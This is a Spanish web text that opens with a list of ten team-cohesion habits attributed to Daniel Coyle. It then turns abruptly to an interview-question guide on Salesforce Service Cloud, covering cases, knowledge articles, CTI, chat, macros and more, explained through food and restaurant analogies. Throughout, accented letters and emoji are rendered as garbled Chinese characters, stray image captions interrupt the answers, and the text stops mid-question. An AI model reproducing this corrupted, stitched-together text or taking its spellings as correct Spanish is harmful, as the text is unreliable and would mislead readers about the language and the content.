Para ello, seg煤n Daniel Coyle los l铆deres de los equipos y cada integrante del equipo, practica 10 h谩bitos que componen esas se帽ales a las que somos tan sensibles:

  1. Proximidad f铆sica, c铆rculos: los equipos m谩s eficaces trabajan en proximidad, tienen una disposici贸n que facilita el contacto visual, y si esto no es posible, buscan formas de aproximarse con frecuencia. En las reuniones conversan de forma muy circular.
  2. Contacto visual frecuente: el contacto visual es abundante y de calidad, abierto y afable. Adem谩s tienen especial cuidado en que el contacto visual sea equilibrado, todos con todos.
  3. Contacto f铆sico: los equipos m谩s potentes, se tocan, en el mejor sentido de la palabra. Tienen peque帽os gestos que generan contacto f铆sico y es sabido que ese peque帽o contacto f铆sico facilita el trabajo en equipo.
  4. Constantes di谩logos breves y animados: la conversaci贸n est谩 muy presente, son equipos muy habladores-escuchadores, les permite ser muy iterativos en compartir informaci贸n y tomar decisiones.
  5. Todos con todos: en los equipos m谩s potentes, todos se aceptan en su diversidad, y cuidan que la relaci贸n sea equilibrada. No caen en favoritismos, en peque帽as filias o fobias, se gustan por igual. Buscan interactuar todos con todos en las mismas proporciones.
  6. Pocas interrupciones: en las conversaciones del equipo se observan muy pocas interrupciones. Se escuchan con paciencia y obviamente se expresan sin alargarse para que la conversaci贸n sea m谩s fluida.
  7. Multitud de preguntas: son equipos muy sensibles a las preguntas, a prestar atenci贸n a las preguntas que se est谩n haciendo y a las que est谩n intentando encontrar respuesta.
  8. Escucha detenida y activa: los niveles de escucha son alt铆simos, tanto en cantidad como en calidad. Es una escucha abierta, buscando integrar la informaci贸n, los criterios y opiniones del resto de miembros del equipo en la forma de pensar.
  9. Humor, risas: utilizan el recurso humor铆stico con frecuencia, con peque帽as bromas, son equipos que sonr铆en m谩s que otros.
  10. Detalles amables: son especialmente corteses, utilizan expresiones como 芦por favor禄, 芦gracias禄, 芦lo siento禄, 芦felicidades禄 con mucha frecuencia. Adem谩s muestran inter茅s los unos en los otros, tanto profesional como personalmente.

馃殌 Gu铆a definitiva de 150 preguntas sobre Salesforce Service Cloud: 隆domine cada detalle! 馃専

Servicio_nube

Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y caracter铆sticas
  • Gesti贸n de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatizaci贸n:
  • Informes y paneles en Service Cloud
  • Integraci贸n de CTI y telefon铆a
  • Servicio al cliente en redes sociales
  • Chat y mensajer铆a
  • Integraci贸n de correo electr贸nico
  • M茅tricas y an谩lisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y caracter铆sticas

1. 驴Qu茅 es Salesforce Service Cloud?

鈥 Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera r谩pida y eficiente. 隆Ah铆 es donde entra Salesforce Service Cloud!

2. 驴C贸mo beneficia Service Cloud a un departamento de atenci贸n al cliente?

ni帽o, ni帽o, juego, malabarismo, pelota, vector, aislado, 18804576, arte vectorial, en, Vecteezy

Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le env铆an correos electr贸nicos o le hacen ping en las redes sociales. 隆Es como hacer malabares! Service Cloud es como un asistente s煤per inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder m谩s r谩pido.

驴La mejor parte? Puede conectarse con sus clientes dondequiera que est茅n: por tel茅fono, en las redes sociales, lo que sea. 隆Menos caos, m谩s choca esos cinco en la oficina!

3. 驴Cu谩l es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un autom贸vil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, 驴la nube de servicios? Ese es su sistema de direcci贸n y comodidad. Una vez que los clientes est谩n a bordo, se garantiza que est茅n contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querr谩n viajar contigo nuevamente.

4. 驴Qu茅 es OmniCanal en el contexto de Service Cloud y c贸mo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electr贸nico, tel茅fono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. 驴C贸mo mejora Service Cloud la satisfacci贸n del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades r谩pidamente no s贸lo los deja satisfechos; 隆Puede convertirlos en fan谩ticos de tu marca! Adem谩s, los clientes satisfechos a menudo significan que volver谩n y les dir谩n a sus amigos lo fant谩stico que eres: 隆todos ganan!

Gesti贸n de casos

1.驴Qu茅 es un caso en Salesforce?

鈥 Imag铆nese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. 驴Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.驴C贸mo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente env铆a un correo electr贸nico, completa un formulario en su sitio web, le env铆a un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. 驴Qu茅 es Web-to-Case y c贸mo se utiliza?

驴Sabes c贸mo puedes pedir tu caf茅 con anticipaci贸n en una aplicaci贸n y te estar谩 esperando cuando llegues? Web-to-Case es algo as铆, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa informaci贸n se env铆a directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. 驴Explicar el correo electr贸nico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electr贸nico de servicio al cliente y Salesforce . Cuando sus clientes le env铆an un correo electr贸nico pidi茅ndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. 驴Qu茅 es la escalada de casos y c贸mo se configura?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

A veces, las cosas necesitan un poco m谩s de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto per铆odo de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una se帽al de alerta cuando uno est谩 tardando demasiado.

6. 驴C贸mo funcionan las reglas de asignaci贸n de casos?

Se帽ales manuales de emergencia de la polic铆a de tr谩nsito para conductores: conduzca en Malasia

Las reglas de asignaci贸n son como los polic铆as de tr谩nsito de Salesforce. Observan los nuevos casos que llegan y les indican la direcci贸n correcta. Seg煤n los detalles del caso, como de qu茅 se trata o de qui茅n proviene, estas reglas los env铆an al departamento correcto o a la persona m谩s adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. 驴Qu茅 son las colas de casos y en qu茅 se diferencian de las reglas de asignaci贸n?

Las reglas de asignaci贸n dirigen los casos a personas espec铆ficas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. 驴C贸mo se realiza un seguimiento del historial del caso?

Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de d贸nde ha estado, a qui茅n ha visitado y qu茅 se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. As铆, cualquiera que observe el caso podr谩 ponerse al d铆a con su recorrido.

9. 驴Qu茅 son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. 驴C贸mo se utilizan los feeds de casos?

Los feeds de casos son como l铆neas de tiempo de las redes sociales para cada caso. Muestran una vista cronol贸gica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. 驴Puedes realizar un seguimiento del tiempo dedicado a cada caso?

S铆, con funciones de seguimiento del tiempo. Es como un cron贸metro del trabajo: puede medir cu谩nto tiempo dedican los agentes a cada caso.

12. 驴C贸mo maneja Salesforce los correos electr贸nicos masivos en la gesti贸n de casos?

Salesforce le permite enviar correos electr贸nicos masivos para mantener actualizados a muchos clientes a la vez.

13. 驴Qu茅 son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos espec铆ficos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. 驴Cu谩l es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas f铆sicas.

15. 驴Cu谩les son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. 驴Cu谩les son los componentes de la regla de asignaci贸n de casos en Salesforce?

En Salesforce, la regla de asignaci贸n de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o m谩s de una condici贸n que debe cumplirse para ser asignada a un usuario espec铆fico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignaci贸n.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. 驴Qu茅 es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la informaci贸n que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar art铆culos, preguntas frecuentes, gu铆as de soluci贸n de problemas y m谩s, todo organizado y f谩cil de encontrar.

2. Explicar el proceso de creaci贸n y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir art铆culos; pueden ser preguntas frecuentes, gu铆as pr谩cticas o pasos para la soluci贸n de problemas. Una vez que haya terminado, los colocar谩 en los estantes (es decir, los publicar谩 en Salesforce Knowledge) y as铆, estar谩n disponibles para que los lea su equipo o incluso sus clientes. Deber谩 revisar sus art铆culos con regularidad, actualizar la informaci贸n anterior y seguir agregando material nuevo para mantener todo actualizado.

3. 驴Cu谩l es la diferencia entre Soluciones y Art铆culos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Dise帽o de dibujos animados felices para ni帽os, p谩gina para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen informaci贸n 煤til, pero son un poco b谩sicas y solo su equipo puede leerlas. Por otro lado, los art铆culos de conocimiento son como tener una base de datos completa en l铆nea. Son m谩s din谩micos, pueden incluir videos e im谩genes y puedes compartirlos no solo con tu equipo sino tambi茅n con tus clientes.

4. 驴C贸mo pueden los usuarios de Service Cloud aprovechar los art铆culos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el art铆culo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea m谩s r谩pido, m谩s preciso y, sinceramente, mucho menos estresante.

5. 驴Pueden los clientes acceder a los art铆culos de conocimiento? 驴Si es as铆, c贸mo?

隆Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web p煤blico donde estos art铆culos est茅n disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el tel茅fono o enviar un correo electr贸nico.

Consola de servicio

1.驴Qu茅 es la Consola de Servicio en Salesforce?

Ilustraci贸n de Chef y m谩s Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imag铆nese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estaci贸n de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (art铆culos de conocimiento), todo en un solo lugar. Est谩s all铆, cocinando varios platos (manejando varios casos de clientes) a la vez. 馃嵆馃懇鈥嶐煃仇煍

2. 驴C贸mo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, 驴no ser铆a m谩s f谩cil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. 隆Es como tener superpoderes, para que puedan ayudar a los clientes m谩s r谩pido y mejor!

3. 驴Se puede personalizar la Consola de servicio? Si es as铆, 驴c贸mo?

隆Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu tel茅fono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a trav茅s de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que dise帽as tu centro de mando.

Portales/comunidades de clientes y agentes:

1. 驴Qu茅 es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores 鈥 Catskill Community Center

Imag铆nese un centro comunitario en un vecindario. Es un lugar donde los residentes se re煤nen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un 鈥渃entro comunitario鈥 virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en l铆nea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. Tambi茅n pueden encontrar art铆culos o anuncios 煤tiles que haya publicado, 隆muy parecido a un tablero de anuncios comunitario!

2. 驴En qu茅 se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el sal贸n principal donde todos se re煤nen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al sal贸n principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. 驴C贸mo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los art铆culos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y t茅rminos, sin necesidad de llamar directamente a la 鈥渙ficina del administrador鈥 (contactar con soporte).

4. 驴Cu谩les son las mejores pr谩cticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser f谩cil de usar y proporcionar valor real. Aseg煤rese de que sea de f谩cil acceso, con categor铆as claras para la discusi贸n y una amplia base de conocimientos. Actualice y modere peri贸dicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participaci贸n reconociendo a los miembros activos u organizando eventos o desaf铆os comunitarios.

Flujo de trabajo y automatizaci贸n

1. 驴Se puede automatizar el enrutamiento de casos? 驴Si es as铆, c贸mo?

En Service Cloud, los casos se pueden enrutar autom谩ticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema com煤n, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. 驴C贸mo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

驴Est谩s preparado para Domino's... - Domino's Pizza Bangladesh | Facebook

Imag铆nese el restaurante prometiendo que cada pedido se servir谩 en 30 minutos o, de lo contrario, ser谩 gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse seg煤n su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. 隆Mantiene al equipo responsable y a los clientes contentos!

3. 驴Podr铆a definir la Gesti贸n de derechos en el contexto de Salesforce Service Cloud?

La gesti贸n de derechos en Salesforce Service Cloud es una funci贸n que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en funci贸n de factores como garant铆as de productos, contratos de servicio o planes de soporte. Esta caracter铆stica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. 驴Puedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representaci贸n gr谩fica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso seg煤n el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los t茅rminos del SLA.

Informes y paneles

1. 驴C贸mo mejoran los informes y paneles las operaciones de servicio?

Imag铆nese que al final de cada d铆a, el gerente recibe un resumen de todo lo sucedido: cu谩ntos clientes llegaron, cu谩l fue el plato m谩s popular, cu谩ntos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visi贸n r谩pida pero completa de c贸mo van las cosas. 驴Los clientes esperan demasiado? 驴Algunos problemas se resuelven m谩s r谩pido que otros? Esta informaci贸n ayuda al equipo a saber qu茅 funciona y qu茅 no, para que puedan mejorar su "servicio".

2. 驴Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es as铆, 驴c贸mo?

Service Cloud le permite realizar un seguimiento del desempe帽o de sus agentes. Puede ver cu谩ntos casos han resuelto, qu茅 tan r谩pido est谩n trabajando e incluso c贸mo los clientes califican su servicio. Es como un gr谩fico de desempe帽o para los camareros, pero para sus agentes de servicio.

3. 驴Cu谩les son algunas m茅tricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las m茅tricas comunes incluyen cosas como

  • tiempo promedio de resoluci贸n de casos
  • puntuaciones de satisfacci贸n del cliente
  • tasas de resoluci贸n del primer contacto
  • vol煤menes de casos por tipo o fuente

Integraci贸n de CTI y telefon铆a

1. 驴Qu茅 es la Integraci贸n Telef贸nica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e im谩genes de stock - iStock

Es un t茅rmino para un sistema que permite que las computadoras interact煤en con los tel茅fonos. Significa que cuando alguien llama, el sistema de atenci贸n al cliente sabe inmediatamente qui茅n es y cu谩l es su historial con la empresa.

2.驴C贸mo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente ser铆a como una reuni贸n de camareros durante la cena por primera vez. Tendr铆an que volver a hacer todas las preguntas b谩sicas: "驴Tiene alguna alergia?" 鈥溌縋refieres asiento junto a la ventana o en el pasillo?鈥 etc茅tera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres al茅rgico al man铆, saben que te gusta el queso extra y tienen lista tu mesa favorita. En t茅rminos de atenci贸n al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. 驴Puede darnos un ejemplo de c贸mo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra informaci贸n relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qu茅 llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. 驴Qu茅 es el servicio al cliente social en Salesforce?

驴Sabes c贸mo puedes chatear con amigos y ver qu茅 est谩n haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. 驴C贸mo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegur谩ndose de que nadie se sienta ignorado y que cada problema se resuelva r谩pidamente.

3. 驴Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

隆Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda qui茅n dijo qu茅, almacena informaci贸n sobre los problemas del cliente e incluso c贸mo se resolvi贸. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que contin煤a la conversaci贸n justo donde la dej贸, como si retrocediera en el historial de chat con un amigo.

Chat y mensajer铆a

1. 驴C贸mo funciona Live Agent en Service Cloud?

Imag铆nese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parec铆a confundido. As铆 es Live Agent en el mundo online. Es una caracter铆stica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras est谩n en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. 驴Cu谩les son los beneficios de utilizar el chat para atenci贸n al cliente?

Los clientes obtienen atenci贸n instant谩nea y sus preguntas pueden responderse de inmediato. Adem谩s, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes l铆neas de pago.

3. 驴Se pueden automatizar las respuestas en Live Agent?

S铆, si alguien dice "hola", el sistema puede decir autom谩ticamente "隆Hola!". 驴C贸mo puedo ayudarte hoy?" Est谩 programado para reconocer palabras o preguntas espec铆ficas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarr谩pidas a preguntas comunes.

4. 驴C贸mo maneja Salesforce los mensajes SMS para el servicio de atenci贸n al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajer铆a SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones r谩pidas o incluso responder preguntas, todo a trav茅s de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversaci贸n.

Integraci贸n de correo electr贸nico

1. 驴C贸mo se utiliza el correo electr贸nico en Service Cloud?

No se trata s贸lo de enviar y recibir correos electr贸nicos; es un sistema completo que gestiona las comunicaciones por correo electr贸nico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qu茅 se dijo y cu谩ndo.

2. 驴Puedes automatizar las respuestas por correo electr贸nico?

– 隆Absolutamente! Seg煤n ciertas palabras clave en el correo electr贸nico del cliente o criterios espec铆ficos, el sistema puede enviar una respuesta escrita previamente. Es instant谩neo, por lo que los clientes no tienen que esperar y les da a los agentes reales m谩s tiempo para manejar los problemas complejos que necesitan un toque humano.

3. 驴C贸mo se asegura de que los correos electr贸nicos de los clientes se env铆en a los agentes adecuados?

Utilice el enrutamiento de correo electr贸nico en Service Cloud. Usando las reglas que usted configura, los correos electr贸nicos se pueden dirigir a ciertos agentes seg煤n el contenido del correo electr贸nico, la informaci贸n del cliente o incluso la carga de trabajo de cada agente.

Soporte M贸vil

1. 驴C贸mo respalda Salesforce el servicio al cliente m贸vil?

Con la aplicaci贸n m贸vil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su tel茅fono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. 驴Cu谩les son las limitaciones del servicio al cliente m贸vil en Salesforce?

Dibujos animados y c贸mics de Parking Boot - im谩genes divertidas de CartoonStock

Si bien la aplicaci贸n m贸vil Salesforce es s煤per poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar dif铆ciles de navegar en una pantalla m谩s peque帽a y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

M茅tricas y an谩lisis de rendimiento

1. 驴C贸mo se mide la satisfacci贸n del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que est茅n satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos autom谩ticamente despu茅s de que se resuelva un caso. Es como preguntar: "驴Qu茅 le pareci贸 nuestro servicio?" 隆para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. 驴Qu茅 es una puntuaci贸n de satisfacci贸n del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuaci贸n que los clientes otorgan en funci贸n de su satisfacci贸n con una interacci贸n espec铆fica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuaci贸n, mejor trabajo hizo para cumplir (隆o superar!) sus expectativas.

3. 驴Qu茅 es Net Promoter Score (NPS) y c贸mo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "驴Recomendar铆a nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata s贸lo de un plato de sopa; 隆Lo importante es si toda la experiencia gastron贸mica les hace querer cont谩rselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuaci贸n a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. 驴Se pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quiz谩s ya est茅 utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, re煤ne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. 驴Qu茅 es Salesforce Einstein y c贸mo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. 驴C贸mo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atenci贸n al cliente, como responder preguntas comunes o guiar a un usuario a trav茅s de un proceso establecido.

3. 驴Puede Einstein sugerir respuestas a los agentes?

Es como un manual din谩mico e inteligente que no s贸lo tiene todas las respuestas sino que tambi茅n sabe exactamente cu谩ndo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o soluci贸n, acelerando el servicio y asegur谩ndose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. 驴Qu茅 es Field Service Lightning?

Vector libre | Banner de cami贸n de comida de estilo de dibujos animados

Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos s煤per organizado que sabe qu茅 cami贸n de comida est谩 d贸nde, qu茅 sirven, qui茅n est谩 disponible para servir delicias y qui茅n se toma un descanso. 隆Se trata de administrar su equipo sobre la marcha, asegur谩ndose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desaf铆o "culinario" (problema del cliente) que encuentren en el campo!

2.驴C贸mo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda informaci贸n en tiempo real hacia y desde las unidades m贸viles (FSL), para que todos sepan lo que sucede a su alrededor.

3. 驴Puede programar y enviar agentes de servicio de campo utilizando Salesforce?

隆Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que est茅n listos para mejorar sus especialidades seg煤n sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional f谩cil de recordar. 隆Imag铆nate que estamos charlando en tu cafeter铆a favorita!

macros

1.驴Qu茅 es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "隆Oye, ya tengo esto!". 隆Y listo!

2. 驴Todos pueden usar mis Macros?

Si los mantiene p煤blicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guard谩rsela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. 驴Pueden las macros interactuar con aplicaciones de terceros en Salesforce?

鈥 Directamente, no. Las macros est谩n dise帽adas para automatizar las funcionalidades est谩ndar de Salesforce.

4. 驴Es posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un bot贸n "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. 驴Se pueden programar las macros para que se ejecuten a una hora espec铆fica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador autom谩tico.

6. 驴Qu茅 tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. 驴C贸mo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. 驴Se puede modificar una macro activa? 驴Hay que tomar alguna precauci贸n?

S铆, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. 驴Es posible asignar Macros espec铆ficas a usuarios o perfiles espec铆ficos?

Si bien no puede asignar una macro directamente a usuarios espec铆ficos, puede controlar el acceso utilizando las carpetas de macros y la configuraci贸n de uso compartido de Salesforce.

10. 驴C贸mo se relacionan las macros con la API de Salesforce?

Las macros no interact煤an directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. 驴Se pueden utilizar las macros junto con Salesforce Flows?

